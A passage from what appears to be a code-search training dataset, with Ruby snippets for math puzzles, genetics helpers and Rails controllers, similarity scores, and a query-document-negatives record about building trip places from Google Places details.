index+=1\n end\n-1\nend", "def get_dominant_allele_probability(k, m, n)\r\n poblation = k + m + n\r\n probs = {}\r\n probs[\"mn\"] = ( (m.to_f/poblation)*(n.to_f/(poblation - 1)) + (n.to_f/poblation)*(m.to_f/(poblation -1)) ) * 0.5\r\n probs[\"kn\"] = ( (k.to_f/poblation)*(n.to_f/(poblation - 1)) + (n.to_f/poblation)*(k.to_f/(poblation - 1)) ) * 1\r\n probs[\"km\"] = ( (k.to_f/poblation)*(m.to_f/(poblation - 1)) + (m.to_f/poblation)*(k.to_f/(poblation - 1)) ) * 1\r\n probs[\"kk\"] = ( (k.to_f/poblation)*((k.to_f - 1)/(poblation - 1))) * 1\r\n probs[\"mm\"] = ( (m.to_f/poblation)*((m.to_f - 1)/(poblation - 1))) * 0.75\r\n return (probs.values.sum()).round(5)\r\nend", "def mof(i, p)\n arr = []\n x_swap = []\n (0..(p-2)).each do |x|\n arr.push((i**x) % p)\n end\n (1..(p-1)).each do |n|\n x_swap.push((arr.index {|item| n == item }) % 12 )\n end\n return x_swap\nend", "def chocolateFeast(n, c, m)\n answer = 0\n purchase = n / c \n answer += purchase\n free = purchase / m\n \n while free > 0 do\n answer += free\n wrappers = free * m\n purchase -= wrappers\n purchase += free\n free = purchase / m\n end\n answer\nend", "def divisors(n)\n (1.upto(n ** 0.5).select { |d| (n % d).zero? }.size * 2) - 1\nend", "def saveThePrisoner(n, m, s)\n res = ((m - 1) + s) % n\n res == 0 ? n : res \nend", "def pdf(k, m, n, total)\n min_m_n=m<n ? m : n\n max_t=[0,m+n-total].max\n return 0 if k>min_m_n or k<max_t\n (bc(m,k) * bc(total-m,n-k)).quo(bc(total,n))\n end", "def getMinimumCost(k, c)\n c.sort.reverse.map.with_index do |cost, i|\n cost * (1 + i / k)\n end.sum\nend", "def find_m (val)\n current = Math.sqrt(val/2).ceil()-1\n while val/2 % current > 0 do\n current -= 1\n end\n return current\nend", "def reciprocal_cycles n\n den = 1\n cache = Array.new\n loop do\n den *= 10\n point = den / n\n next if cache.empty? and point.zero?\n\n den = den % n\n return 0 if den.zero?\n\n break if cache.include? [point, den]\n cache << [point, den]\n end\n cache.map(&:first).size\nend", "def josephus_survivor(n,k)\n result = 1\n for i in 1...n + 1\n result = (result + k - 1) % i + 1\n end\n \n result\nend", "def rek(n)\n if n == 1\n return 1/3.to_f\n end\n if n == 0\n return 1.to_f\n end\n return 13.0*rek(n-1)/3.0 - 4.0*rek(n-2)/3.0\nend", "def carmichael(n)\n m = 1\n until (10**m).modulo(n) == 1\n m += 1\n end\n m\nend", "def d(n)\r\n proper_divisors(n).reduce(:+)\r\nend", "def do_part2(buses, min_t = 0)\n bus_indexes = {}\n buses.each_with_index do |bus, i|\n bus_indexes[bus] = i if bus\n end\n\n t = min_t\n increment = 1\n buses_found = []\n buses = bus_indexes.keys\n while true\n buses.each do |bus|\n if (t + bus_indexes[bus]) % bus == 0\n buses_found << bus\n increment = buses_found.reduce(:lcm)\n end\n end\n buses -= buses_found\n return t if buses.empty?\n\n t += increment\n end\n end", "def calc_k(n, g)\n H(n, n, g)\n end", "def mod(n, m)\n return ((n % m) + m) % m\nend", "def smallest_common_multiple(n)\n\n\treturn 0\nend", "def problem5 ( )\n lcm_1_to_n(20)\nend", "def aofn( n )\n# Guaranteed in this context...\n# return 0 unless n.coprime?( 10 )\n\n x, k = 1, 1\n until 0 == x\n x = (10*x + 1) % n\n k += 1\n end\n\n k\n end", "def get_partial_permutations(n,k)\r\n result = 1\r\n while (k > 0)\r\n result *= n\r\n n -= 1\r\n k -= 1\r\n end\r\n return (result % 1000000)\r\nend", "def josephus(n,k)\n if(n == 1)\n return 0\n end\n\n (josephus(n-1, k) + k) % n\nend", "def solution(a, b, k)\n first_dividend = a\n remainder = first_dividend%k\n\n while remainder != 0 && first_dividend <= b do\n first_dividend += 1\n remainder = first_dividend%k\n end\n\n remainder == 0 ? (b - first_dividend) / k + 1 : 0\nend", "def find_lcm(n)\n (1..n).reduce(:lcm)\nend", "def gcd(n, m)\n n % m == 0 ? m : gcd(m, n % m)\nend", "def mandelbrot c, n\n result = c\n (1..n).each do |n|\n if result.abs > 2\n return n\n end\n result = result*result + c\n end\n return nil\nend", "def find_nb(m)\n sum = 0\n x = 1\n while true\n sum += x ** 3\n if sum == m\n return x\n elsif sum > m\n return -1\n end\n x += 1\n end\nend", "def problem_80(size = 100)\n total = 0\n (2..100).each do |n|\n n,d = n.sqrt_frac(2*size)\n next unless n\n r = n * (10 ** (size * 1.1).to_i) / d\n r = r.to_s[0,size].split(//).map(&:to_i).reduce(&:+)\n total += r\n# puts r.inspect\n end\n total\nend", "def calc_k(n, g)\n H(n, n, g)\n end", "def d(n)\n divisors = (1...n).select{ |i| n % i == 0 }\n divisors.reduce(&:+)\nend", "def main\n max = 10 ** 9 + 7\n all = 1\n zero = 1\n nine = 1\n zn = 1\n N.times.each do\n all = all * 10 % max\n zero = zero * 9 % max\n nine = nine * 9 % max\n zn = zn * 8 % max\n end\n return (all - zero - nine + zn) % max\nend", "def solve( n = 1_000_000_000_000 )\n # From the problem statement, n = dq + r and d = kr, q = kd for some k.\n # (We could set q = kr and d = kq instead, but it doesn't really matter\n # which convention we adopt.) From this we infer r < d < q. We also know\n # k must be rational or d, q wouldn't be integer values, so k = a/b. Then\n # d = ar/b and q = ad/b = (a^2)r/(b^2). Since a and b are coprime (other-\n # wise k could be reduced until they were), b^2 must divide r, which means\n # r = cb^2 for some c.\n #\n # Combining these facts, we have r = (b^2)c, d = ar/b = a(b^2)c/b = abc,\n # and q = (a^2)(b^2)c/(b^2) = (a^2)c. Substituting into n = dq + r we ob-\n # tain n = (abc)(a^2)c + (b^2)c = (a^3)b(c^2) + (b^2)c. The dominant term\n # is a^3, which must be < n, so use it as an outer limit as we search for\n # b, c values that generate perfect squares.\n\n # Create a hash of perfect squares to simplify future checks.\n sq = {}\n (1..Math.sqrt( n )).each {|i| sq[i*i] = i}\n\n # Upper bound on values of a.\n lim = Math.cbrt( n )\n sum = []\n\n (2...lim).each do |a|\n a3 = a*a*a\n (1...a).each do |b|\n m = b*(a3 + b)\n break if m > n\n next unless b.coprime?( a )\n\n c = 1\n while m < n\n sum << m if sq.has_key?( m )\n c += 1\n m = b*c*(a3*c + b)\n end\n end\n end\n\n sum.reduce( :+ )\n end", "def solution(n)\n r = (n**0.5).floor\n (1..r).reduce(Float::INFINITY) do |perimeter, h|\n n % h == 0 ? [perimeter, 2 * (h + n / h)].min : perimeter\n end\nend", "def kaprekar?(k)\n=begin\n sqr = k**2\n digits = k.to_s.length\n right_n_digits = sqr.to_s[(0-digits)..-1].to_i\n left_digits = sqr.to_s[0..(1-digits)].to_i\n left_digits + right_n_digits == k\n=end\n n = Math.log10(k).to_i + 1\n value = k**2 \n k == value % (10**n) + value / (10**n) \nend", "def f_1_4tel_rek(n)\r\n if !n.integer? || n < 1\r\n return false\r\n end\r\n\r\n def end_rek(i, s)\r\n if i > 0\r\n end_rek(i - 1, (1.0 / (i * (i + 1.0) * (i + 2.0))) + s)\r\n else\r\n return s\r\n end\r\n end\r\n return end_rek(n, 0)\r\nend", "def pile_of_cubes(m)\n n = 1\n n^3\n n^3 + (n+1)^3\n n^3 + (n+1)^3 + (n+2)^3\n\n\n # check m against 1^3\n # check m against 1^3 + 2^3\n # check m against 1^3 + 2^3 + 3^3...\n\n\nend", "def alg4(max_value)\n perimeters = Hash.new 0\n (6..max_value/2).each do |p_sub|\n p = p_sub * 2\n (p_sub-1..3).each do |a|\n b = p * (p - 2*a) / (2.0 * (p-a))\n # avoid double counting\n break if b > a\n\n if b > 0 && b == b.to_i\n #puts \"debug: adding perimeter #{p} = #{a} + #{b} + ...\"\n perimeters[p] += 1\n end\n end\n end\n return perimeters\nend", "def solve( n = 2_000_000 )\n counts = Hash.new( 0 )\n\n # Guesstimate upper limit on grid dimensions. \n (1..100).each do |w|\n (1..100).each do |h|\n counts[[w, h]] = w * (w + 1) * h * (h + 1) >> 2\n end\n end\n\n counts.min_by {|k, v| (n - v).abs}[0].inject( :* )\n end", "def smallest_divisible_by_all_v2(range)\n return (range).inject(1) do |result, n| \n result.lcm n\n end\nend", "def k_numbers_missing(arr,n)\n nums_missing = (1..n).to_a.length - arr.length\n\n expected_sum = (1..n).to_a.reduce(:+)\n actual_sum = arr.reduce(:+)\n\n expected_factorial = (1..n).to_a.reduce(:*)\n actual_factorial = arr.reduce(:*)\n\n sum_diff = expected_sum - actual_sum\n combos = all_number_combos(sum_diff,nums_missing)\n\n combos.each do |combo|\n set = expected_factorial\n combo.each do |num|\n if set / num == actual_factorial\n return combo\n else\n set = set / num\n end\n end\n end\nend", "def calc_FPKM(weight_per_kb, total_num_read)\n\treturn weight_per_kb * 1_000_000 / total_num_read\nend", "def solve( n = 2_000 )\n # We can classify every tile according to its angular position around the\n # unit circle, setting position 0 at the top since that's where each row\n # starts in the problem statement. Positions 1-5 then follow every 60° as\n # we work our way counter-clockwise. Depending on which of these positions\n # each tile falls (or between which pair of positions), we use different\n # formulae to calculate its six neighbors to the N, NW, SW, S, SE, and NE:\n # \n # Pos 0: n even = fhp\n # N = n + ring (g) S = n - ring + 6 (a)\n # NW = n + ring + 1 (h) SE = n + ring - 1 (f)\n # SW = n + 1 NE = n + (2*ring + 5) (p)\n #\n # Pos 0-1: n even = bh, n odd = ag \n # N = n + ring (g) S = n - ring + 6 (a)\n # NW = n + ring + 1 (h) SE = n - ring + 5 (b)\n # SW = n + 1 NE = n - 1\n #\n # Pos 1: n even = bh, n odd = gi\n # N = n + ring (g) S = n + 1\n # NW = n + ring + 1 (h) SE = n - ring + 5 (b)\n # SW = n + ring + 2 (i) NE = n - 1\n #\n # Pos 1-2: n even = bh, n odd = ci\n # N = n - 1 S = n + 1\n # NW = n + ring + 1 (h) SE = n - ring + 5 (b)\n # SW = n + ring + 2 (i) NE = n - ring + 4 (c)\n #\n # Pos 2: n even = hj\n # N = n - 1 S = n + ring + 3 (j)\n # NW = n + ring + 1 (h) SE = n + 1\n # SW = n + ring + 2 (i) NE = n - ring + 4 (c)\n #\n # Pos 2-3: n even = dj, n odd = ci\n # N = n - ring + 3 (d) S = n + ring + 3 (j)\n # NW = n - 1 SE = n + 1\n # SW = n + ring + 2 (i) NE = n - ring + 4 (c)\n #\n # Pos 3: n even = dj, n odd = ik\n # N = n - ring + 3 (d) S = n + ring + 3 (j)\n # NW = n - 1 SE = n + ring + 4 (k)\n # SW = n + ring + 2 (i) NE = n + 1\n #\n # Pos 3-4: n even = dj, n odd = ek\n # N = n - ring + 3 (d) S = n + ring + 3 (j)\n # NW = n - ring + 2 (e) SE = n + ring + 4 (k)\n # SW = n - 1 NE = n + 1\n #\n # Pos 4: n even = jl\n # N = n + 1 S = n + ring + 3 (j)\n # NW = n - ring + 2 (e) SE = n + ring + 4 (k)\n # SW = n - 1 NE = n + ring + 5 (l)\n #\n # Pos 4-5: n even = fl, n odd = ek\n # N = n + 1 S = n - 1\n # NW = n - ring + 2 (e) SE = n + ring + 4 (k)\n # SW = n - ring + 1 (f) NE = n + ring + 5 (l)\n #\n # Pos 5: n even = fl, n odd = km\n # N = n + ring + 6 (m) S = n - 1\n # NW = n + 1 SE = n + ring + 4 (k)\n # SW = n - ring + 1 (f) NE = n + ring + 5 (l)\n #\n # Pos 5-0, except last: n even = fl, n odd = gm\n # N = n + ring + 6 (m) S = n - ring (g)\n # NW = n + 1 SE = n - 1\n # SW = n - ring + 1 (f) NE = n + ring + 5 (l)\n #\n # Pos 5-0, only last: n even = flo, n odd = gmo\n # N = n + ring + 6 (m) S = n - ring (g)\n # NW = n - ring + 1 (f) SE = n - 1\n # SW = n - (2*ring - 7) (o) NE = n + ring + 5 (l)\n #\n # From these formula, we can derive the difference between a tile and each\n # of its neighbors. If we arrange all potential differences in ascending\n # order, it becomes obvious that for n even or odd, some deltas will al-\n # ways be even, and thus can never be prime (>2).\n #\n # Furthermore, we can see that only in certain positions will a tile ever\n # differ from three neighbors by odd amounts (position 0 and just to the\n # right of position 0). In all other cases, at most two deltas will be\n # odd, meaning PD(n) will be 2 or less.\n #\n # n even n odd\n # a = ring - 6 even a\n # b = ring - 5 b even\n # c = ring - 4 even c\n # d = ring - 3 d even\n # e = ring - 2 even e\n # f = ring - 1 f even\n # g = ring even g\n # h = ring + 1 h even\n # i = ring + 2 even i\n # j = ring + 3 j even\n # k = ring + 4 even k\n # l = ring + 5 l even\n # m = ring + 6 even m\n # o = 2ring - 7 o o\n # p = 2ring + 5 p p\n pd3 = [1, 2]\n base, ring = 8, 12\n \n while pd3.size < n\n # Only at position 0 and one tile to the right will there ever be three\n # odd deltas, so those are the only ones we have to check for primality.\n # Both share a delta of f = ring - 1.\n if (ring - 1).prime?\n # Check the other odd deltas for position 0. \n pd3 << base if (ring + 1).prime? && (2*ring + 5).prime?\n\n # Check the other odd deltas for one tile to the right of position 0.\n pd3 << base + ring - 1 if (ring + 5).prime? && (2*ring - 7).prime?\n end\n\n # Advance the first tile of the current ring (base), and the number of\n # tiles it contains (ring). \n base += ring\n ring += 6\n end\n\n pd3[-1]\n end", "def pmt(i, n, pv)\n return pv / ((1 - (1 / (1 + i) ** n )) / i)\n end", "def p206\n re = /1.2.3.4.5.6.7.8.9.0/\n max = Math.sqrt(1929394959697989990).floor\n\n # Round since only squares of multiples of 30 and 70 end with 9_0 (e.g. 900)\n i = round_up Math.sqrt(1020304050607080900).floor, 100\n while i < max\n p30 = (i+30) ** 2\n p70 = (i+70) ** 2\n\n if re === \"#{p30}\"\n return \"#{i+30}^2 = #{p30}\"\n elsif re === \"#{p70}\"\n return \"#{i+70}^2 = #{p70}\"\n end\n\n i += 100\n end\nend", "def euler028 n\n (4*n**3 + 3*n**2 + 8*n - 9) / 6\nend", "def distribute(m, n)\n arr=[]\n return arr if n<=0\n \n if m <=0\n \ta = 0\n \tb = 0\n else \n \ta = m/n\n \tb = m%n\n\tend \n\n n.times {|i| arr[i] = a}\n b.times {|i| arr[i] += 1}\n \n return arr\nend", "def indexed_kmers k, seq\n kmers = {}\n i = 0\n while i + k - 1 < seq.length\n kmer = seq[i..(i + k - 1)]\n kmers[kmer] = [] if !kmers.has_key?(kmer)\n kmers[kmer] << i\n i += 1\n end\n kmers\nend", "def indexed_kmers k, seq\n kmers = {}\n i = 0\n while i + k - 1 < seq.length\n kmer = seq[i..(i + k - 1)]\n kmers[kmer] = [] if !kmers.has_key?(kmer)\n kmers[kmer] << i\n i += 1\n end\n kmers\nend", "def divisible_sum_pairs n, k, ar\n pairs = 0\n n.times do |i|\n ((i + 1)...n).each do |j|\n pairs += 1 if ((ar[i] + ar[j]) % k).zero?\n end\n end\n pairs\nend", "def biodiversity_index(specimens)\n counter = Hash.new(0)\n specimens.each do |x|\n counter[x] += 1\n end\nnums = counter.values\n(nums.length ** 2) * nums.min / nums.max\nend", "def problem_5(lower_limit, upper_limit)\n searching = true\n numerator = upper_limit\n while searching == true\n numerator += 2\n searching = false\n (lower_limit..upper_limit).each do |denominator|\n searching = true unless numerator % denominator == 0\n end\n end\n return numerator\nend", "def arithmetic( n )\n am = n.inject(0, :+)\n print \"AM = #{am/n.size.to_f} \"\nend", "def k(n); 5 * n * n; end", "def divisors(n)\n arr = Prime.prime_division(n).map { |v,exp| (0..exp).map { |i| v**i } }\n arr.first.product(*arr[1..-1]).map { |a| a.reduce(:*) }.map { |m| [m,n/m] }\nend", "def ns_to_ck(dram_freq, dram_timings, param_name)\n min_ck = dram_timings[param_name][:ck]\n ns = dram_timings[param_name][:ns]\n if ns then\n ck = (dram_freq * ns / 1000.0).ceil.to_i\n ck = min_ck if min_ck and ck < min_ck\n return ck\n else\n return min_ck\n end\nend", "def compute_sum_of_threes_and_fives\r\n sum = 0\r\n (1...1000).each do |n|\r\n sum += n if n % 3 == 0 || n % 5 == 0\r\n end\r\n sum\r\nend", "def p(k)\n k = k.to_f\n output = 0.0\n if k == 1\n output = 1/@N\n else\n output = 1/(k*(k-1))\n end\n return output\n end", "def fator n\n\n\treturn [-1, 1] if n<0\n\treturn [0, 1] if n==0\n\treturn [1, 1] if n==1\n\treturn [2, 1] if n==2\n\treturn [n>>1,2] if ((n%2)==0)\n\n\ti, j, k = n, 0, 0\n\n\ti += j and k = (i**(0.5)).to_i and j += ((j==0)?1:2) while (i-k*k>0)\n\n\tk += (j-1)>>1;\n\tn /= k;\n\n\treturn [n,k] if n>=k\n\treturn [k,n] if n<k\n\nend", "def zeros(n)\n c, zeros = 0, 0\n loop do\n c += 1\n power_term = n / 5**c\n break if power_term == 0\n zeros += power_term\n end\n zeros\nend", "def choose n, k\n return (1..n).reduce(:*) / ( (1..k).reduce(:*) * (1..n-k).reduce(:*) )\nend", "def sumn2(n)\n result = 0\n 1.upto(n) { |e| result += e if (e % 3 == 0) ^ (e % 5 == 0) }\n puts result\nend", "def egcd(a, n)\n t, newt = [0, 1]\n r, newr = [n, a]\n until newr == 0\n q = r / newr\n t, newt = [newt, t - q * newt]\n r, newr = [newr, r - q * newr]\n end\n [r, t]\nend", "def crt(r, m)\n raise ArgumentError if r.size != m.size\n \n n = r.size\n r0, m0 = 0, 1\n n.times{ |i|\n raise ArgumentError if m[i] < 1\n\n r1, m1 = r[i]%m[i], m[i]\n if m0 < m1 then\n r0, r1 = r1, r0\n m0, m1 = m1, m0\n end\n\n if m0%m1 == 0 then\n return [0, 0] if r0%m1 != r1\n next\n end\n\n g, im = inv_gcd(m0, m1)\n u1 = m1/g\n return [0, 0] if (r1-r0)%g != 0\n\n x = (r1-r0)/g*im%u1\n r0 += x*m0\n m0 *= u1\n r0 += m0 if r0 < 0\n }\n\n return [r0, m0]\nend", "def lcm(p0) end", "def ftks\n limit = 50\n result = 0\n # these are the correct right angles\n result += limit * limit * 3\n # these are the ones on their side\n (1..limit).each do |i|\n result += i / 2 * 2\n end\n # there are some on their little angles\n (2..limit).each do |long|\n (1..(long - 1)).each do |tall|\n gcd = intGCDInts long, tall\n longd, talld = long / gcd, tall / gcd\n maxn = ((limit - long) / talld > tall / longd ? tall / longd : (limit - long) / talld)\n minn = (long / talld > (limit - tall) / longd ? (limit - tall) / longd : long / talld)\n # p \"(#{long}, #{tall}) => (#{longd}, #{talld}) : #{maxn} + #{minn}\"\n result += (maxn + minn) * 2\n end\n end\n result\nend", "def digit_match(n, m)\n if (n < 0 || m < 0)\n return 0\n end\n\n if (n == 0 && m == 0)\n return 1\n else\n result = 0\n if (n % 10 == m % 10)\n result+=1\n end\n end\n\n if (n / 10 == 0 || m / 10 == 0)\n return result\n end\n\n return result + digit_match(n / 10, m / 10)\nend", "def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend", "def calculate_optimal_k\n k=0\n @k_optimal = Array.new(@size)\n (3..@size).each{|n|\n k+=1 while(cost(n,k)<cost(n,k+1))\n @k_optimal[n]=k\n }\n end", "def eu1\n # .00028s | 1000 silent iterations\n total = 0\n (1..1000).each { |i| total += i if i % 3 == 0 or i % 5 == 0 }\n return total\nend", "def find_amicables(n)\n pairs = []\n sum = 0\n for i in 0..n do \n next if pairs.include? i\n d = sum_proper_divisors(i)\n next if d == i\n p = sum_proper_divisors(d)\n if p == i \n pairs << d\n pairs << i\n sum += d + i\n end\n end\n return sum\nend", "def paperwork(n, m)\n if n>0&&m>0\n n*m\n else\n 0\n end\nend", "def solution(a, b, k)\n return (b / k) - ((a - 1) / k)\nend", "def lcm_1_to_n (num)\n answer = 1\n answer_factors = Hash.new(0) #key is prime factor, val is number of occurences\n (0..num).each do |x|\n f = 2 #start with first possible prime factor\n x_factors = Hash.new(0)\n\n #find prime factors for x\n while (x >= f)\n while (x % f == 0)\n x_factors[f] += 1\n x /= f\n end\n f += 1\n end\n\n #the answer must have as many occurrences of each prime factor as each\n #individual number (1..num).\n x_factors.each do |factor, occurrences|\n if (occurrences > answer_factors[factor])\n answer_factors[factor] = occurrences\n end\n end\n end\n\n #answer_factors has correct factors. Multiply them for the answer\n answer_factors.each do |factor, occurrences|\n occurrences.times do\n answer *= factor\n end\n end\n answer\nend", "def rpkm(counts, total_mapped_reads, gene_length)\n if counts && gene_length\n sprintf(\"%.2f\",(1e9*counts.to_f)/(total_mapped_reads*gene_length)).to_f\n else\n 0.0\n end\nend", "def p(n)\r\n (return @ps[n]) if @ps[n]\r\n\r\n sum = 0\r\n @pk.each_with_index do |k, i|\r\n if k > n\r\n break\r\n end\r\n sign = ( i % 4 <= 1 ? 1 : -1)\r\n sum += sign * p( n - k )\r\n sum %= 1_000_000 #keep it under control\r\n end\r\n @ps[n] = sum\r\n return sum\r\n end", "def obtener_promedio(hash)\n hash.values.inject(0) { |sum, n| sum + n }.to_f / hash.length\nend", "def determine_how_many(number, unit)\n\t(number / unit).in_words\nend", "def solution(n)\n min_perimeter = 2 * (1 + n)\n limit = Math.sqrt(n).floor\n (2..limit).each { |a|\n if n % a == 0\n b = n / a\n min_perimeter = [min_perimeter, 2 * (a + b)].min\n end\n }\n min_perimeter\nend", "def smallest_multiple(n)\r\n dividers = (1..n)\r\n dividers.reduce(:lcm)\r\nend" ]
[ "0.7120764", "0.64746976", "0.6395241", "0.6296249", "0.6258625", "0.6237656", "0.6222404", "0.6161289", "0.61592406", "0.6100771", "0.609553", "0.6091242", "0.6090429", "0.60756063", "0.6063286", "0.6044005", "0.60394984", "0.6036066", "0.6027755", "0.60071015", "0.6002906", "0.5992092", "0.597744", "0.597672", "0.595351", "0.5952526", "0.5952145", "0.59503996", "0.59361583", "0.59134066", "0.5903427", "0.588804", "0.58788073", "0.5877254", "0.58768785", "0.58763236", "0.586612", "0.58609086", "0.5843941", "0.58412004", "0.5833588", "0.5832915", "0.58247614", "0.5820585", "0.58102775", "0.5806669", "0.5796493", "0.57914084", "0.57847196", "0.5760802", "0.57564205", "0.57552445", "0.5753881", "0.5752059", "0.57477397", "0.5744935", "0.5733689", "0.57331747", "0.5717939", "0.5705982", "0.5693899", "0.56855303", "0.5670153", "0.56698835", "0.5669524", "0.5667029", "0.56643915", "0.56571144", "0.56571144", "0.56494147", "0.5644018", "0.56312126", "0.5629445", "0.5628673", "0.56277287", "0.5626485", "0.56225085", "0.5617583", "0.5613438", "0.5610269", "0.5606127", "0.5601267", "0.560054", "0.55973715", "0.55956745", "0.55949473", "0.5589356", "0.5585627", "0.5583872", "0.5583783", "0.55795264", "0.5575482", "0.5575433", "0.55725074", "0.55580324", "0.555578", "0.55526537", "0.5550104", "0.5548584", "0.55426013" ]
0.6896274
1
Build a new trip place from PlacesDetails element
def from_place_details details components = details[:address_components] unless components.nil? components.each do |component| types = component[:types] if types.nil? next end if 'street_address'.in? types self.address1 = component[:long_name] elsif 'route'.in? types self.route = component[:long_name] elsif 'street_number'.in? types self.street_number = component[:long_name] elsif 'administrative_area_level_1'.in? types self.state = component[:long_name] elsif 'locality'.in? types self.city = component[:long_name] elsif 'postal_code'.in? types self.zip = component[:long_name] end end end self.raw_address = details[:formatted_address] self.lat = details[:geometry][:location][:lat] self.lon = details[:geometry][:location][:lng] self.name = details[:name] self.google_place_id = details[:place_id] self.stop_code = details[:stop_code] self.types = details[:types] self.address_components_raw = details if self.raw_address.nil? self.raw_address = self.name end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def from_place_details details\n\n components = details[:address_components]\n unless components.nil?\n components.each do |component|\n types = component[:types]\n if types.nil?\n next\n end\n if 'street_address'.in? types\n self.address = component[:long_name]\n elsif 'route'.in? types\n self.route = component[:long_name]\n elsif 'street_number'.in? types\n self.street_number = component[:long_name]\n elsif 'administrative_area_level_1'.in? types\n self.state = component[:long_name]\n elsif 'locality'.in? types\n self.city = component[:long_name]\n elsif 'postal_code'.in? types\n self.zip = component[:long_name]\n end\n end\n end\n\n self.raw_address = details[:formatted_address]\n self.lat = details[:geometry][:location][:lat]\n self.lng = details[:geometry][:location][:lng]\n self.name = details[:name]\n self.google_place_id = details[:place_id]\n self.stop_code = details[:stop_code]\n self.types = details[:types]\n self.address_components_raw = details[:address_components]\n\n if self.raw_address.nil?\n self.raw_address = self.name\n end\n\n if self.name.nil?\n self.name = self.raw_address\n end\n\n self.save\n\n end", "def create\n @trip = Trip.new(trip_params)\n\n respond_to do |format|\n if @trip.save\n\n @client = GooglePlaces::Client.new(\"AIzaSyDslRFZO4CcrhN9M9gchkS0VKLWrOB8J_Y\")\n\n # @attractions = JSON.parse(@trip.tag).join(' ')\n places = @client.spots_by_query(\"tourist landmark in #{@trip.location} \", :radius => @trip.location_radius, :exclude => 'lodging')\n\n # https://maps.googleapis.com/maps/api/place/textsearch/json?query=points+of+interest+for+tourists+in+aberdeen&radius=5000&key=AIzaSyCsJcCSDOx5fdOlmWagQZabLeAe6EGxNSI\n\n places.take(@trip.sightsnum).each do |place|\n if place.photos[0]\n photo_url = place.photos[0].fetch_url(800)\n end\n p = @trip.places.create :name => place.name, :google_id => place.place_id, :latitude => place.lat, :longitude => place.lng, :photo_url => photo_url\n end\n\n format.html { redirect_to @trip, notice: 'Trip was successfully created.' }\n format.json { render :show, status: :created, location: @trip }\n else\n format.html { render :new }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(place_params)\n # @trip = Trip.find(params[:trip_id])\n # @trip.places << @place\n # @place.author = current_user\n respond_to do |format|\n if @place.save\n format.html { redirect_to partner_places_path, notice: 'Le lieu a été crée.' }\n # format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n # format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def new_place\n @place = Place.new\n @category = get_lookup_values(\"Place_Type\")\n end", "def with_details(results)\n first = results.first\n if first\n place = new(:id => first['place_id'],\n :name => first['place_name'],\n :slug => first['place_slug'],\n :created_at => first['place_created_at'],\n :updated_at => first['place_updated_at'], \n :latitude => first['latitude'], \n :longitude => first['longitude'],\n :route => first['route'], \n :route_length => first['route_length'],\n :region => first['region'], \n :region_area => first['region_area'],\n :category_id => first['category_id'],\n :head => first['head'], \n :rating => first['rating'],\n :number_of_ratings => first['number_of_ratings'],\n :utm_srid => first['utm_srid'],\n :featured => first['featured'],\n :copyright => first['copyright'] )\n\n # If this place is a route, encode it.\n if place.route != nil && !place.route.empty?\n encoder = PublicEarth::Db::PlaceExt::PolylineEncoder.new\n place.encoded_route = \"#{encoder.dp_encode(place.route)}\" # _force_ this to be a string no matter what.\n place.encoded_route_levels = encoder.encoded_levels\n place.encoded_route_zoom_factor = encoder.zoom_factor\n place.encoded_route_num_zoom_levels = encoder.num_levels\n end \n\n # If this place is a region, encode it.\n if place.region != nil && !place.region.empty?\n encoder = PublicEarth::Db::PlaceExt::PolylineEncoder.new\n place.encoded_region = \"#{encoder.dp_encode(place.region)}\" # _force_ this to be a string no matter what.\n place.encoded_region_levels = encoder.encoded_levels\n place.encoded_region_zoom_factor = encoder.zoom_factor\n place.encoded_region_num_zoom_levels = encoder.num_levels\n end \n\n # TODO: Handle categories in different languages? Maybe cache the categories? \n place.category = PublicEarth::Db::Category.new :id => first['category_id'], :name => first['category_name'], \n :slug => first['category_slug']\n\n # ...then cycle through the entire set of results for the details/attributes\n place.details = PublicEarth::Db::Details.new(place, nil, nil, results)\n\n # Set the correct name, from attributes\n place.name = place.details.name unless place.details.attributes[:name].blank?\n end\n place\n end", "def buildDestinationFromPlace(place)\n debug = false\n dest = Destination.new\n\n puts '************ PLACE YAML: ' + place.to_yaml if debug\n\n dest.name = place['name']\n dest.google_place_id = place['place_id']\n dest.formatted_address = place['formatted_address']\n\n #Google API Docs:\n #...the latitude coordinate is always written first, followed by the longitude\n #developers.google.com/maps/documentation/javascript/3.exp/reference#LatLng\n dest.lat = place['lat']\n dest.lng = place['lng']\n\n\n #Structure of component is a JSON array, 2nd object is the actual data (e.g. [1])\n place['address_components'].each do |component|\n long_name = component[1]['long_name']\n types = component[1]['types']\n\n #for each type, look for that column in our db\n #if found, set it equal to long name\n if not types.nil?\n types.each do |type|\n if Destination.column_names.include? type\n dest[type] = long_name\n\n #if type is country, also set iso 2 code for flags\n dest['country_iso_2'] = component[1]['short_name'] if type == 'country'\n end\n end #done with type iteration\n end #end types if statment\n end #done with address componenet iteration\n\n puts '******** dest.valid: ' + (dest.valid?).to_s if debug\n\n return dest\n end", "def create\n @trip = current_user.trips.new(params[:trip].except(:places))\n params[:trip][:places] ||= []\n @trip.add_trip_places(params[:trip][:places])\n if @trip.save\n flash[:notice] = \"Trip succesfully created\"\n redirect_to @trip\n else\n flash.now[:error] = @trip.errors.full_messages\n @places = params[:trip][:places]\n render \"new\"\n end\n end", "def create\n @place = @event.places.build(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to([@event,@place], :notice => 'Place was successfully created.') }\n format.xml { render :xml => @place, :status => :created, :location => @place }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def place\n Place.new(place_name, organisation_name)\n end", "def create\n @place = current_merchant.places.new(place_params)\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n @place.cuisine_type_ids = params[:place][:cuisine_type_ids]\n @place.highlight_ids = params[:place][:highlight_ids]\n @place.dining_type_ids = params[:place][:dining_type_ids]\n end", "def create\n @place = Place.new(params[:place])\n\n if not @place.address == \"\"\n @place.lat = Geocoder.coordinates(@place.address)[0];\n @place.lon = Geocoder.coordinates(@place.address)[1];\n end\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to(@place, :notice => 'Place was successfully created.') }\n format.xml { render :xml => @place, :status => :created, :location => @place }\n 